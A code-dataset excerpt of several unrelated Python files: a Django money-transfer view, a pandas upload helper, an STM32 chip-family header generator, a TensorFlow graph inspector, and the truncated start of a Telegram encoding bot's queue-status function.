df.close()\n\n\n","repo_name":"ziaoang/ncbi","sub_path":"yuntsg/ncbi/spiders/retrieval.py","file_name":"retrieval.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10289818279","text":"from rest_framework.views import APIView\nfrom rest_framework import permissions, status\nfrom rest_framework.response import Response\n\nfrom api.models.user import User\nfrom api.models.ledger import Ledger\nfrom api.serializers.amount import AmountSerializer\n\nclass SendMoneyView(APIView):\n permission_classes = [permissions.IsAuthenticated]\n serializer_class = AmountSerializer\n\n def put(self, request):\n data = request.data\n user_id = request.user.id\n serializer = self.serializer_class(data=data)\n\n user = User.objects.get(id=user_id)\n\n serializer.is_valid(raise_exception=True)\n\n db_amount = user.account_balance\n request_amount = data.get('amount')\n\n if int(db_amount) < int(request_amount):\n return Response({\"error\":\"insufficient amount\"})\n \n total_amount = db_amount - request_amount\n user.account_balance = total_amount\n user.save()\n\n # update ledger\n new_ledger = Ledger.objects.create(user_id=request.user, ledger_type=\"expense\", amount=db_amount)\n new_ledger.save()\n\n return Response({\"account balance\":total_amount, \"message\":\"success\"}, status=status.HTTP_200_OK)\n","repo_name":"funsojoba/send_me_api","sub_path":"api/views/transact/send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7642290775","text":"import pandas as pd\nimport base64\nimport io\nimport numpy\nimport json\nfrom staff import schematisation\n\n\ndef parse_data(contents, filename, index=None):\n df = pd.DataFrame()\n if 'txt' in filename:\n df = universal_upload(contents, index)\n return df\n\n\ndef universal_upload(contents, index=None):\n content_type, content_string = contents.split(',')\n decoded = base64.b64decode(content_string)\n ln = io.StringIO(decoded.decode('utf-8')).readline()\n df = pd.DataFrame()\n if ',' in ln:\n df = pd.read_csv(io.StringIO(decoded.decode('utf-8')), delimiter=\",\", index_col=index)\n if ';' in ln:\n df = pd.read_csv(io.StringIO(decoded.decode('utf-8')), delimiter=\";\", index_col=index)\n cols = df.columns\n for col in cols:\n coli = df[col].to_numpy()\n sf = [float(s.replace(',', '.')) if type(s) == str else s for s in coli]\n df[col] = sf\n return df\n\n\ndef load_and_ave_set(contents, names):\n if names is None:\n return [{}, None, [], 1.0]\n if len(names) == 0:\n return [{}, None, [], 1.0]\n\n # check if all codes are the same\n codes = set([parse_data(contents[i], names[i], index=0).columns.tolist()[0] for i in range(len(names))])\n if len(codes) != 1:\n return [{}, None, [\"Different Codes!\"], 1.0]\n\n traces = set([len(parse_data(contents[i], names[i], index=0).index) for i in range(len(names))])\n if len(traces) != 1:\n return [{}, None, [\"Different Traces!\"], 1.0]\n\n df = parse_data(contents[0], names[0], index=0)\n code = df.columns.to_numpy()[0]\n options = df.index.tolist()\n # print('options={}'.format(options))\n data = {}\n counts_traces = {}\n classes = 1.0\n for opt in options:\n dfi = pd.read_json(df.loc[opt].values[0], orient='split')\n for col in dfi.columns:\n dfi[col] = pd.to_numeric(dfi[col], downcast='float')\n classes, _ = dfi.shape\n counts = numpy.zeros((classes, classes))\n for i in range(classes):\n for j in range(classes):\n if opt == 'cycles':\n counts[i][j] += 1\n elif dfi.values[i][j] > 0:\n counts[i][j] += 1\n data[opt] = dfi\n counts_traces[opt] = counts\n\n for i in range(1, len(names)):\n df = parse_data(contents[i], names[i], index=0)\n for opt in options:\n dfi = pd.read_json(df.loc[opt].values[0], orient='split')\n for col in dfi.columns:\n dfi[col] = pd.to_numeric(dfi[col], downcast='float')\n counts = numpy.zeros((classes, classes))\n for k in range(classes):\n for j in range(classes):\n if opt == 'cycles':\n counts[k][j] += 1\n elif dfi.values[k][j] > 0:\n counts[k][j] += 1\n data[opt] += dfi\n counts_traces[opt] += counts\n\n for opt in options:\n for i in range(classes):\n for j in range(classes):\n if counts_traces[opt][i][j] > 0:\n val = data[opt].values[i][j] / counts_traces[opt][i][j]\n data[opt]._set_value(data[opt].index[i], data[opt].columns[j], val)\n\n data_str = {}\n for opt in options:\n data_str[opt] = data[opt].to_json(date_format='iso', orient='split')\n\n return [data_str, code, options, classes]\n\n\ndef load_files(names):\n s = ''\n for name in names[:-1]:\n s += name + \", \"\n s += names[-1]\n return s\n\n\ndef select_dff_by_time(json_data, t_start=None, t_end=None, t_step=None):\n df = pd.read_json(json_data, orient='split')\n cols = df.columns\n val1 = df[cols[0]].iloc[0] if t_start is None else t_start\n val2 = df[cols[0]].iloc[-1] if t_end is None else t_end\n dt = 0.0 if t_step is None else t_step / 2\n dff = df[(df[cols[0]] >= (val1 - dt)) & (df[cols[0]] <= (val2 + dt))]\n dff.reset_index(drop=True, inplace=True)\n return dff\n\n\ndef get_kpi(loading_data, ind, code='MR'):\n if code == 'MR':\n nm = 'Range'\n nm1 = 'Mean'\n else:\n nm = 'Max'\n nm1 = 'Min'\n data = json.loads(loading_data)\n df = pd.read_json(data['cycles'], orient='split')\n hist1_fix = df.index.to_numpy()[ind]\n h = []\n h_r = []\n for key in data.keys():\n df = pd.read_json(data[key], orient='split')\n h_data = df.index[ind]\n h.append(df.loc[h_data].to_numpy())\n h_r.append(df.columns.to_numpy())\n\n dff = schematisation.cumulative_frequency(h_r[0], h, list(data.keys()), False, code=nm)\n csv_string = f\"{nm1}={hist1_fix}\\n\" + dff.to_csv(index=False, encoding='utf-8') + \"\\n\"\n return csv_string\n\n\ndef convert_corr_table_to_excel(df):\n options = df.index.tolist()\n st = \"\"\n for opt in options:\n st += f\"Parameter:{opt}\\n\"\n dfi = pd.read_json(df.loc[opt].values[0], orient='split')\n st += dfi.to_csv(index=True, encoding='utf-8')\n st += \"\\n\\n\"\n return st\n","repo_name":"AzimuthSouth/spectrum","sub_path":"staff/loaddata.py","file_name":"loaddata.py","file_ext":"py","file_size_in_byte":4992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20869104085","text":"from typing import *\n# from .typedef import *\nfrom copy import deepcopy, copy\n\n\nclass ChipSeriesManager:\n\n\tfull_chips: \"ChipSeriesManager\" = None\n\n\tdef __init__(self, chip_list: Set[str] = set()):\n\t\tself.chip_list: Set[str] = copy(chip_list)\n\t\tself.chip_families: Dict[str, Set[str]] = dict()\n\n\t\tself.build_chip_family()\n\n\tdef __eq__(self, other):\n\t\tif isinstance(other, self.__class__):\n\t\t\treturn self.chip_list == other.chip_list\n\t\treturn False\n\n\tdef __hash__(self):\n\t\treturn hash(tuple(list(self.chip_list)))\n\n\tdef __contains__(self, item):\n\t\treturn self.contains(item)\n\n\tdef __iter__(self):\n\t\treturn (i for i in self.chip_list)\n\n\tdef __str__(self):\n\t\treturn \" \".join([\"{:12}\".format(i) for i in sorted(self)])\n\n\t@staticmethod\n\tdef set_full_chips(full: \"ChipSeriesManager\"):\n\t\tChipSeriesManager.full_chips = full\n\n\t@staticmethod\n\tdef get_full_chips() -> \"ChipSeriesManager\":\n\t\treturn ChipSeriesManager.full_chips\n\n\tdef clear(self):\n\t\t\"\"\"\n\t\tEmpty the object\n\t\t\"\"\"\n\t\tself.chip_list.clear()\n\t\tself.chip_families.clear()\n\n\tdef merge(self, other: 'ChipSeriesManager') -> 'ChipSeriesManager':\n\t\t\"\"\"\n\t\tMerge the other CSM into this one.\n\t\n\t\t\n\t\t:param ChipSeriesManager other: CSM to get values from\n\t\t:return:\n\t\t\"\"\"\n\t\tfor dist_chip in other.chip_list:\n\t\t\tif dist_chip in other.chip_families:\n\t\t\t\tself.chip_list |= other.chip_families[dist_chip]\n\t\t\telse:\n\t\t\t\tself.chip_list.add(dist_chip)\n\t\tself.build_chip_family()\n\t\treturn self\n\n\tdef from_file_path(self, paths: List[str]) -> Set[str]:\n\t\t\"\"\"\n\t\tBuild chip familly from files path/names\n\t\t\n\t\t:param list of str paths: List of all paths/files to include\n\t\t:return: Built chip series list\n\t\t:rtype: set of str\n\t\t\"\"\"\n\t\tchip_id = [f[f.find(\"STM32\"):len(f) - 4].upper().replace(\"X\", \"x\") for f in sorted(paths)]\n\t\tself.chip_list = self.chip_list.union(chip_id)\n\t\tself.build_chip_family()\n\t\treturn self.chip_list\n\n\tdef contains(self, chip: str) -> bool:\n\t\t\"\"\"\n\t\tReturn true if the ChipSeriesManager contains the given chip.\n\t\t\n\t\t:rtype: bool\n\t\t:param chip: Chip name to test\n\t\t:type chip: str\n\t\t\"\"\"\n\t\tif chip in self.chip_families:\n\t\t\treturn True\n\t\tfor family in self.chip_families:\n\t\t\tif chip in self.chip_families[family]:\n\t\t\t\treturn True\n\t\treturn chip in self.chip_list\n\n\tdef build_chip_family(self):\n\t\t\"\"\"\n\t\tThis function will rebuild the full chip family data structure\n\t\t\"\"\"\n\t\t#Put back all chips from already existing families into the actual chip list\n\t\tfor family in self.chip_families:\n\t\t\tself.chip_list |= self.chip_families[family]\n\t\t\t\n\t\tself.chip_list = self.chip_list - set(self.chip_families.keys())\n\t\tself.chip_families.clear()\n\t\tfor chip in self.chip_list:\n\t\t\t#STM32F072\n\t\t\tend : int = 7\n\t\t\t#while not chip[end].isdigit() :\n\t\t\t#\tend += 1\n\t\t\t\n\t\t\tfamily = chip[:end]\n\t\t\tfamily += \"P\" if (chip[7] in \"RS\") else str(\"\") # L4+\n\n\t\t\tif family not in self.chip_families:\n\t\t\t\tself.chip_families[family] = set()\n\t\t\tself.chip_families[family].add(chip)\n\n\tdef simplify(self, chips_to_simplify: 'ChipSeriesManager'):\n\t\t\"\"\"\n\t\tThis function will perform a simplification against the current ChipManager\n\t\t\n\t\t:param ChipSeriesManager chips_to_simplify: Chip Manager to simplify\n\t\t:rtype: None\n\t\t\"\"\"\n\t\tself.simplify_chip_set(chips_to_simplify.chip_list)\n\n\t# Should work since python always use references\n\n\tdef simplify_chip_set(self, chips_to_test: Set[str]) -> Set[str]:\n\t\t\"\"\"\n\t\tThis function will replace any full component family from chips_to_test by its shortened name.\n\t\t\n\t\tThe check is made against the current ChipSeriesManager\n\t\t\n\t\t:param chips_to_test: Chips set to be simplified\n\t\t:return: \tthe simplified set.\n\t\t\t\t\tNone if chips_to_test matches all chips\n\t\t\"\"\"\n\t\tif chips_to_test == self.chip_list:\n\t\t\tchips_to_test.clear()\n\t\t\tchips_to_test.add(\"ALL_CHIPS\")\n\t\telse:\n\t\t\tfor family in self.chip_families:\n\t\t\t\tif self.chip_families[family].issubset(chips_to_test):\n\t\t\t\t\tchips_to_test -= self.chip_families[family]\n\t\t\t\t\tchips_to_test.add(family)\n\t\treturn chips_to_test\n\n\tdef select(self, name: str) -> Set[str]:\n\t\t\"\"\"\n\t\tBuild a selection of chips based on a partial name\n\t\t\n\t\t:param str name: Partial name to look for\n\t\t:return:\n\t\t\"\"\"\n\t\tout = set()\n\n\t\tfor family in self.chip_families:\n\t\t\tif name in family:\n\t\t\t\tout |= self.chip_families[family]\n\n\t\ttemp = set()\n\t\tfor chip in self.chip_list - out:\n\t\t\tif name in chip:\n\t\t\t\ttemp.add(chip)\n\t\treturn out | temp\n\n\tdef select_multiple(self, names: List[str]) -> Set[str]:\n\t\t\"\"\"\n\t\tSelect all chips which name match something in the provided names list\n\t\t\n\t\t:param list of str names:\n\t\t:return:\n\t\t\n\t\t..seeal\n\t\t\"\"\"\n\t\tout = set()\n\t\tfor name in names:\n\t\t\tout |= self.select(name)\n\t\treturn out\n\n\tdef filter_chips(self, chips_set: Set[str], action: str = \"remove\") -> Set[str]:\n\t\t\"\"\"\n\t\tReturn a set of filtered chips without changing the actutal value of self.chips_set\n\t\t\n\t\t:param chips_set:\n\t\t:param action: can be \"remove\" to supress given chips from original or \"keep\" to keep only given chips\n\t\t:return:\n\t\t\"\"\"\n\t\tfor family in self.chip_families:\n\t\t\tif family in chips_set:\n\t\t\t\tchips_set.discard(family)\n\t\t\t\tchips_set |= self.chip_families[family]\n\n\t\tif action == \"remove\":\n\t\t\treturn self.chip_list - chips_set\n\t\telif action == \"keep\":\n\t\t\treturn self.chip_list & chips_set\n\t\telse:\n\t\t\traise ValueError(\"Invalid value \" + action + \" for action. {remove, keep}\")\n\n\tdef remove_chips(self, chips_set: Set[str], action: str = \"remove\"):\n\t\t\"\"\"\n\t\tFilter the chips and edit self.chips_set\n\t\t\n\t\t:param chips_set: set to use for filtering\n\t\t:param action: can be \"remove\" to supress given chips from original or \"filter\" to keep only given chips\n\t\t:return: the filtered chips set\n\t\t:rtype: set of str\n\t\t\"\"\"\n\t\tself.chip_list = self.filter_chips(chips_set, \"keep\" if action == \"filter\" else action)\n\t\tself.build_chip_family()\n\t\treturn self.chip_list\n\n\tdef output_condition(self, line_lenght=4) -> str:\n\t\ti = 0\n\t\tif self.is_all_chips():\n\t\t\traise Exception(\"chip list is full, no need for define condition\")\n\t\telse:\n\t\t\tout = \"\"\n\t\t\tfor chip in sorted(list(self.chip_list)):\n\t\t\t\tif i >= line_lenght:\n\t\t\t\t\ti = 0\n\t\t\t\t\tout += \"\\\\\\n \"\n\t\t\t\tout += \"defined({0:12s}) ||\".format(chip)\n\t\t\t\ti += 1\n\t\t\tout = out[:-2]\n\t\t\treturn out\n\n\tdef is_all_chips(self):\n\t\treturn len(self.chip_list) == 1 and \"ALL_CHIPS\" in self.chip_list\n\n\tdef is_empty(self):\n\t\treturn len(self.chip_list) == 0\n\n\tdef output_series_definition(self):\n\t\tout: str = \"\"\n\t\tfor family in sorted(self.chip_families):\n\t\t\tcomputed_name = family.replace(\"STM32\", \"\")\n\n\t\t\tif computed_name[-1] == \"P\": # STM32L4+\n\t\t\t\tcomputed_name = computed_name[:-1] + \"+\"\n\t\t\tif len(computed_name) < 3:\n\t\t\t\tcomputed_name += \" \"\n\n\t\t\tcomputed_name += \" Series\"\n# separator\n\t\t\tout += \"//\" + \"#\" * 78 + \"\\n\"\n\t\t\tout += \"//\" + \"#\" + \" \" * int((78 - 2 - len(computed_name)) / 2) + computed_name + \" \" * int(\n\t\t\t\t(78 - 2 - len(computed_name)) / 2) + \"#\\n\"\n\t\t\tout += \"//\" + \"#\" * 78 + \"\\n\"\n\n# raw chips names\n\t\t\tchips = sorted(self.chip_families[family])\n\t\t\tout += \"\\n\".join([\"//#define {}\".format(chip) for chip in chips])\n\n# counter to prevent > 1 defined chip, define series and sub-series\n\t\t\tcounter = \"#define __SOOL_NB_{}\\\\\\n\\t\".format(family) + \" +\\\\\\n\\t\".join([\n\t\t\t\t\" + \".join([\n\t\t\t\t\t\"defined({:12s})\".format(chip) for chip in chips[i:i + 3]\n\t\t\t\t]) for i in range(0, len(chips), 3)\n\t\t\t])\n\n\t\t\tsub_series_1 = dict() # STM32FXXX (without 2 last characters)\n\t\t\tsub_series_2 = dict() # STM32FXXx (last number replaced by 'x')\n\t\t\tsub_series_3 = dict() # STM32FXxX (penultimate number replaced by 'x')\n\t\t\tfor chip in chips:\n\t\t\t\tif chip[:-2] not in sub_series_1:\n\t\t\t\t\tsub_series_1[chip[:-2]] = list()\n\t\t\t\t\tif (chip[:-3]+'x') not in sub_series_2:\n\t\t\t\t\t\tsub_series_2[chip[:-3]+'x'] = list()\n\t\t\t\t\tif (chip[:-4]+'x'+chip[-3]) not in sub_series_3:\n\t\t\t\t\t\tsub_series_3[chip[:-4]+'x'+chip[-3]] = list()\n\t\t\t\t\tsub_series_2[chip[:-3]+'x'].append(chip[:-2])\n\t\t\t\t\tsub_series_3[chip[:-4]+'x'+chip[-3]].append(chip[:-2])\n\t\t\t\tsub_series_1[chip[:-2]].append(chip)\n\n\t\t\tsub_series_def = \"\\n\".join([\n\t\t\t\t\"#if\\t\\t\" + \"\\n#elif\\t\".join([\n\t\t\t\t\t\" ||\\\\\\n\\t\\t\".join([\n\t\t\t\t\t\t\" || \".join([\n\t\t\t\t\t\t\t\"defined({:12s})\".format(chip) for chip in sub_serie_dic[sub_serie][i:i + 3]\n\t\t\t\t\t\t]) for i in range(0, len(sub_serie_dic[sub_serie]), 3)\n\t\t\t\t\t]) +\n\t\t\t\t\t\"\\n#define \" + sub_serie\n\t\t\t\t\tfor sub_serie in sub_serie_dic\n\t\t\t\t]) + \"\\n#endif\" for sub_serie_dic in [sub_series_1, sub_series_2, sub_series_3]\n\t\t\t])\n\t\t\tout += \"\"\"\n\n// ---- {family} definition ----\n{counter}\n#if __SOOL_NB_{family} > 1\n#error only one chip must be defined\n#elif __SOOL_NB_{family} == 1\n#define {family}\n// ---- {family} sub-series ----\n{sub_series}\n#endif\n\"\"\".format(counter=counter,family=family, sub_series=sub_series_def)\n\n\t\treturn out\n\n\nclass AliasAggregator:\n\tdef __init__(self, full_chip_list: ChipSeriesManager = ChipSeriesManager()):\n\t\tself.content: Dict[ChipSeriesManager, Dict[str[Tuple[str, str]]]] = dict() # [ID] = if_def, if_ndef\n\n\t\tself.chip_list_reference = full_chip_list\n\n\tdef add_entry(self, chips: ChipSeriesManager, define_id: str, name_if_def: str, name_if_ndef: str = None):\n\t\tself.chip_list_reference.simplify(chips)\n\n\t\tif chips not in self.content:\n\t\t\tself.content[chips] = dict()\n\t\tself.content[chips][define_id] = (name_if_def, name_if_ndef)\n\n\tdef is_entries_grouped(self, entries: Set[str]):\n\t\tgrouped = False\n\t\tfor chip_serie in self.content:\n\t\t\tgrouped |= set(entries) <= set([self.content[chip_serie][i][0] for i in self.content[chip_serie].keys()])\n\t\t\tif grouped:\n\t\t\t\treturn chip_serie\n\t\treturn None\n\n\tdef get_id(self, name: str, serie: str = None):\n\t\tfor c in self.content:\n\t\t\tif serie is not None and c not in serie:\n\t\t\t\tcontinue\n\t\t\tfor id_to_get in self.content[c].keys():\n\t\t\t\tif self.content[c][id_to_get][0] == name: return id_to_get\n\t\treturn None\n\n\tdef replace_full_group_by_id(self, entries: Set[str], alias: str, val_if_def: str = None, val_if_ndef: str = None):\n\t\tto_delete_serie = self.is_entries_grouped(entries)\n\n\t\tif to_delete_serie is None:\n\t\t\treturn\n\n\t\tfor e in entries:\n\t\t\tself.content[to_delete_serie].pop(self.get_id(e, to_delete_serie))\n\n\t\tself.content[to_delete_serie][alias] = (val_if_def, val_if_ndef)\n\n\tdef output_define_section(self):\n\t\tout = \"\"\n\n\t\tfor serie in self.content:\n\t\t\tcontent_ifdef = \"\"\n\t\t\tcontent_ifndef = \"\"\n\n\t\t\tfor alias in self.content[serie]:\n\t\t\t\tcontent_ifdef += \"\\t#define {0:25s} {1}\\n\".format(alias,\n\t\t\t\t self.content[serie][alias][0] if\n\t\t\t\t self.content[serie][alias][0] is not None else \"\")\n\t\t\t\tcontent_ifndef += \"\\t#define {0:25s} {1}\\n\".format(alias,\n\t\t\t\t self.content[serie][alias][1] if\n\t\t\t\t self.content[serie][alias][1] is not None else \"\")\n\n\t\t\tif serie.is_all_chips():\n\t\t\t\tout += content_ifdef\n\t\t\telse:\n\t\t\t\tout += serie.output_ifdef_template().format(ifdef=content_ifdef, ifndef=content_ifndef) + \"\\n\"\n\t\treturn out\n\n\tdef output_undefine_section(self):\n\t\tout = \"\"\n\t\tfor serie in self.content:\n\t\t\tfor alias in self.content[serie]:\n\t\t\t\tout += \"#undef \" + alias + \"\\n\"\n\t\treturn out\n\n\nclass GenericAlias:\n\t# name : defined name, value : structure, if(n)def : defined value\n\tdef __init__(self, define_id: str, ifdef: str, ifndef: str, csm: ChipSeriesManager):\n\t\t\"\"\"\n\t\tGeneric Alias declaration.\n\t\t\n\t\t:param define_id: Name used after #define statement\n\t\t:param ifdef: Value if the \"ifdef\" requirement is met\n\t\t:param ifndef: Value if the \"ifdef\" requirement is NOT met\n\t\t:param csm: List of chips for which ifdef will be met\n\t\t\"\"\"\n\t\tself.define_id = define_id\n\t\tself.ifdef = ifdef\n\t\tself.ifndef = ifndef\n\t\tself.chips = csm\n\n\tdef get_ifdef_line(self):\n\t\treturn self.ifdef\n\n\tdef get_ifndef_line(self):\n\t\treturn self.ifndef\n#\n# class RegisterAlias(GenericAlias) :\n#\n# \tdef __init__(self, reg_typedef : TypedefRegister, peripheral : str, csm : ChipSeriesManager) :\n# \t\t\"\"\"\n# \t\tGeneric Alias adapted for registers\n#\n# \t\t:param TypedefRegister reg_typedef: Register to create alias for\n# \t\t:param str peripheral: Peripheral of that register\n# \t\t:param ChipSeriesManager csm: Chip list\n# \t\t\"\"\"\n# \t\tself.reg = reg_typedef\n# \t\tself.peripheral = peripheral\n#\n#\n# \t\tGenericAlias.__init__(self, peripheral+\"_MAP_\"+reg_typedef.name\n# \t\t\t\t\t\t\t , \"({0:30s} {1})\".format(self.peripheral + \"_\" + self.reg.name + \"_TypeDef\",self.reg.name)\n# \t\t\t\t\t\t\t , \"(uint32_t :32)\", csm)\n","repo_name":"SooL/dev-ressources","sub_path":"scripts/SoolBuilder/tools/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42723863822","text":"\n\n\"\"\"A simple script for inspect checkpoint files.\n usage : python3.5 inspect_graph_shape.py --file_name=../test/optime_deepsmart.pb --input_shape=1,159,159,3\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport sys\nimport re\nimport random\nimport numpy as np\nimport tensorflow as tf\nimport logging \n\nFORMAT = '%(asctime)-15s %(levelname)s %(process)d-%(thread)d %(message)s %(filename)s:%(module)s:%(funcName)s:%(lineno)d'\nlogging.basicConfig(format=FORMAT, level=logging.DEBUG, handlers=[logging.StreamHandler(),logging.FileHandler(filename=sys.argv[0]+\".log\", mode='w')])\n\n\nfrom google.protobuf import text_format\n\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import op_def_registry as op_reg\nfrom tensorflow.python.framework import tensor_util\n\n\nFLAGS = tf.app.flags.FLAGS\ntf.app.flags.DEFINE_string(\"file_name\", \"\", \"Checkpoint filename\")\ntf.app.flags.DEFINE_string(\"input_shape\", None, \"shappe of the tensor to inspect\")\n\nsys.path.append('.')\nfrom graphviz_visual import graphviz_visual\nimport restore_graph_from_checkpoint as restore\n\ndef save_graph_visual(graph_def, name): \n gv_nodes = {}\n gv_edges = {}\n \n namespace_group = {}\n # for name space \n for node in graph_def.node:\n node_namespace = node.name.split('/')[0]\n gv_nodes[node_namespace] = (node_namespace, {'label': node_namespace + \":\" + repr(node.op)})\n namespace_group[node_namespace] = [node]+ namespace_group.get(node_namespace, [])\n for input_name in node.input:\n edges_start = input_name.split('/')[0] \n edges_name = edges_start + \"->\"+ node_namespace \n gv_edges[edges_name] = ((edges_start, node_namespace), {'label': edges_name})\n \n logging.info(\"save to \"+ \"namespace_\" + name)\n graphviz_visual(gv_nodes.values(), gv_edges.values(), \"namespace+\" + name)\n \n #for every namespace :\n '''\n for k,v in namespace_group.items():\n gv_nodes = []\n gv_edges = [] \n for n in v:\n gv_nodes += [(n.name, {'label': n.name + \"(%s)\" % n.op})] \n #gv_edges += [((i, n.name), {'label': i+ \"->\" + n.name}) for i in n.input ]\n gv_edges += [(i, n.name) for i in n.input ]\n logging.info(\"save to \"+k +\"_\"+name ) \n graphviz_visual(gv_nodes, gv_edges, k +\"_\"+name)\n '''\n\ndef getStartTensor(graph):\n '''\n sess.graph.get_tensor_by_name('shuffle_batch:0')\n '''\n p = None\n for o in graph.get_operations():\n if o.type == 'Placeholder':\n p = o\n\n result = []\n for o in graph.get_operations():\n for out in o.inputs:\n if out.name.startswith(p.name):\n result += [out]\n return result\n\n\ndef getEndOp(graph):\n all_used = {i.name :(o,0) for o in graph.get_operations() for i in o.inputs }\n no_used = [ o for o in graph.get_operations() for i in o.outputs if i.name not in all_used ]\n \n print(\"noinput\"+repr([i.name for i in no_used]))\n return no_used\n\ndef getOperLabel(sess, op):\n label = op.type+\":\"+ op.name\n label = label +\"\\ninput:\" +','.join([i.name for i in op.inputs])\n label = label +\"\\noutput:\" +','.join([i.name for i in op.outputs])\n \n if op.type == 'Const':\n tensor = op.node_def.attr['value'].tensor\n tensor_value = tensor_util.MakeNdarray(tensor)\n #print(repr(dir(tensor_value)) +\",\"+repr(type(tensor_value)))\n \n if op.type != 'Const':\n label = label +\"\\nattr:\"+ repr([ str(k).replace('\\n','') for k in op.node_def.attr.values()])\n #if op.type == 'Conv2D':\n #print(repr([ k.__getattribute__(k.WhichOneof('value')) for k in op.node_def.attr.values()]))\n return label\n\ndef getValueLabel(value):\n shape = \"\"\n val = None\n if value.shape == ():\n shape = \"scalar\"\n val = value[()]\n else:\n shape = 'shape:'+','.join([str(i) for i in value.shape])\n val = [ round(f, 2) for f in value.flatten().tolist()[:5] ]\n val[-1] = '...' if value.size > 5 else val[-1]\n return shape +\"\\nvalue:\" + str(val)\n\n\ndef getShapeMap(sess, starts, shape_map):\n run_options = tf.RunOptions()\n run_metadata = tf.RunMetadata()\n\n for o in sess.graph.get_operations():\n if o.type == 'Placeholder':\n continue\n\n for out in o.outputs:\n if out.name in shape_map:\n continue\n\n if o.type == 'Const':\n value = out.eval(session=sess)\n shape_map[out.name] = getValueLabel(value)\n continue\n\n result = sess.run(out, starts, run_options, run_metadata)\n starts[out.name] = result\n if isinstance(result, np.ndarray):\n shape_map[out.name] = getValueLabel(result)\n elif isinstance(result, np.float32):\n shape_map[out.name] = \"scalar:\" + repr(result)\n else :\n shape_map[out.name] = repr(out.get_shape()) + \",\" +repr(type(result))\n print(\"Not array:\" + repr((o.name, o.type, out.name, out.get_shape(), type(result))))\n\n return shape_map\n\ndef infernce_graph_shape(graph_def_f, shape_str = None):\n graph_name = graph_def_f.split('/')[-1]\n \n graph = restore.load_graph_def(graph_def_f)\n save_graph_visual(graph, graph_name)\n \n if not shape_str:\n return graph\n \n with tf.Session() as sess:\n tensor_shape = [int(i) for i in shape_str.split(',')]\n tensor_value = np.random.rand(*tuple(tensor_shape))\n \n input_tensor = getStartTensor(sess.graph)\n for i in input_tensor:\n i.set_shape(tensor_shape)\n starts = {i : tensor_value for i in input_tensor}\n shape_map = {i.name : shape_str for i in input_tensor}\n shape_map = getShapeMap(sess, starts, shape_map)\n\n gv_nodes = []\n gv_edges = [] \n for o in sess.graph.get_operations():\n gv_nodes += [(o.name, {'label':getOperLabel(sess, o)})]\n gv_edges += [((i.op.name, o.name), {'label': str(shape_map.get(i.name, [i.name]))}) for i in o.inputs ]\n \n graphviz_visual(gv_nodes, gv_edges, \"shape_\" + graph_name)\n return None\n\ndef getTensorValue(sess, out, out_map, value_map):\n \n if out.name in value_map:\n return value_map[out.name]\n\n op = out_map[out.name]\n \n if op.type == 'Const':\n value_map[out.name] = (True, out.eval(session=sess))\n return (True, value_map[out.name])\n \n if op.type == 'Placeholder':\n value_map[out.name] = (False, None)\n return value_map[out.name]\n \n not_yet = []\n for i in op.inputs:\n if not (i in value_map):\n k,v = getTensorValue(sess, i , out_map, value_map)\n if not k: \n not_yet.append(i.name )\n \n #not_yet = list(filter(lambda x: value_map[x][0] == True, [x.name for x in op.inputs]))\n \n if len(not_yet) == 0:\n v = sess.run(out, {})\n value_map[out.name] = (True, v)\n else:\n value_map[out.name] = (False, None)\n #print(repr([i for i in not_yet]))\n print(repr([\"TO \"] + [op.type] + [i.name + repr(value_map[i.name][0]) for i in op.inputs ] + ['->'] + [out.name]) )\n \n return value_map[out.name]\n\ndef run(graph_def_f, start=None, end=None):\n\n graph_name = graph_def_f.split('/')[-1]\n \n restore.load_graph_def(graph_def_f)\n \n with tf.Session() as sess:\n graph = sess.graph\n \n input_map = {i.name :o for o in graph.get_operations() for i in o.inputs }\n out_map = {i.name :o for o in graph.get_operations() for i in o.outputs }\n value_map = {}\n input_tensor = getStartTensor(sess.graph) if not start else start\n out_op = getEndOp(sess.graph) if not end else end\n \n v = getTensorValue(sess, out_op[0].outputs[0], out_map, value_map)\n\ndef main(unused_argv):\n if not FLAGS.file_name:\n print(\"Usage: %s --file_name=graph_def_file_name [--input_shape=1,159,159,3]\" % sys.argv[0])\n sys.exit(1)\n infernce_graph_shape(FLAGS.file_name, FLAGS.input_shape)\n\nif __name__ == \"__main__\":\n tf.app.run()\n","repo_name":"theseusyang/AutoDL","sub_path":"tools/inspect_graph_shape.py","file_name":"inspect_graph_shape.py","file_ext":"py","file_size_in_byte":8253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21713288037","text":"from bot import FCHANNEL as forward\nfrom bot import FCHANNEL_STAT as forward_id\nfrom bot import asyncio, glob, itertools, os, pyro, startup_, tele\nfrom bot.fun.emojis import enmoji\nfrom bot.fun.quips import enquip4\nfrom bot.fun.quotes import enquotes\nfrom bot.utils.ani_utils import qparse\nfrom bot.utils.bot_utils import QUEUE as queue\nfrom bot.utils.bot_utils import get_codec, get_pause_status\n\n\nasync def encodestat():\n if not queue:\n msg = \"**Currently Resting…😑**\"\n return msg\n msg = str()\n try:\n try:\n # depreciating this method...\n dt_ = glob.glob(\"encode/*\")\n data = max(dt_, key=os.path.getctime)\n file_name = data.replace(\"encode/\", \"\")\n except Exception:\n out = list(queue.values())[0]\n # Backwards compatibility:\n v, f = out[2] if isinstance(out[2], tuple) else (out[2], None)\n file_name = await qparse(out[0], v, f)\n s = \"🟢\" if get_pause_status() != 0 else \"⏸️\"\n msg = (\n f\"{s} `{file_name}`\\n\\n\"\n \" **CURRRENT ITEMS ON QUEUE:**\\n\"\n \"━━━━━━━━━━━━━━━━━━━━━━━━━━━━\\n\"\n )\n\n for key, i in zip(list(queue.keys())[1:], itertools.count(start=1)):\n if i > 6:\n r = len(queue) - i\n msg += f\"__+{r} more…__\\n\"\n break\n out = queue.get(key)\n # Backwards compatibility:\n v, f = out[2] if isinstance(out[2], tuple) else (out[2], None)\n name = await qparse(out[0], v, f)\n 